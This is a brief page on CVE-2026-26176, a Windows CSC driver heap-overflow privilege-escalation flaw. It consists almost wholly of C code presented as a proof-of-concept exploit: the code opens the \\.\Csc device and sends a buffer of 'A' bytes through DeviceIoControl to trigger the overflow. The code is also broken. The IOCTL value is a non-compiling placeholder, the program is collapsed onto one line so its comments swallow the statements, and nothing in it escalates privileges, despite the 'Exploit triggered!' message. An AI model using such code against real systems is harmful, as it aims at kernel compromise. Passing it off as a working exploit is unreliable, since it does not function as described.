CVE-2026-26176 Windows CSC驱动程序堆溢出提权漏洞

#include <windows.h> #include <stdio.h> // Proof of Concept for CVE-2026-26176 // Note: This is a template. The actual IOCTL code needs to be discovered via reverse engineering. #define VULNERABLE_IOCTL 0xXXXXXXX // Placeholder for the actual IOCTL code int main() { HANDLE hDevice; BYTE buffer[0x1000]; DWORD bytesReturned; // Fill buffer with pattern to trigger overflow memset(buffer, 'A', sizeof(buffer)); // Open handle to the CSC driver hDevice = CreateFileA("\\\\.\\Csc", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("Failed to open device. Error: %d\n", GetLastError()); return 1; } printf("Sending malicious buffer to driver...\n"); // Trigger the vulnerability BOOL result = DeviceIoControl(hDevice, VULNERABLE_IOCTL, buffer, sizeof(buffer), NULL, 0, &bytesReturned, NULL); if (!result) { printf("DeviceIoControl failed. Error: %d\n", GetLastError()); } else { printf("Exploit triggered!\n"); } CloseHandle(hDevice); return 0; }